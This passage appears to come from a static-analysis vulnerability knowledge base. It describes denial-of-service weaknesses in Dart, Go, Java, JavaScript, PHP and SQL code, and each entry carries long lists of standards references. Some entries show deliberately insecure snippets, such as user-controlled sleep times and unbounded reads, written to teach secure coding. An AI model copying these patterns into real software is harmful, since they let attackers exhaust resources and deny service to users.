[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dart.denial_of_service
Abstract
An attacker can cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers might be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs enable the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: Setting a service timeout with untrusted data can leave the service unresponsive if an attacker sets a large value.


func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.golang.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.


int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
Example 2: The following code reads a String from a zip file. Because it uses the readLine() method, it will read an unbounded amount of input. An attacker may take advantage of this code to cause an OutOfMemoryException or to consume a large amount of memory so that the program spends more time performing garbage collection or runs out of memory during some subsequent operation.


InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 400
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[13] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the size of the file system to be used. By specifying a large number, an attacker may deplete file system resources.


var fsync = requestFileSystemSync(0, userInput);
Example 2: The following code writes to a file. Because the file may be continuously written and rewritten until it is deemed closed by the user agent, disk quota, IO bandwidth, and processes that may require analyzing the content of the file are impacted.


function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}

window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.javascript.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.php.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which the system should delay further processing. By specifying a large number, an attacker may tie up the system indefinitely.


procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.sql.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers can deny service to legitimate users by flooding the application with requests, however most flooding attacks can be defused at the network layer. More problematic are defects that enable an attacker to overload the application with a small number of requests. These defects enable the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

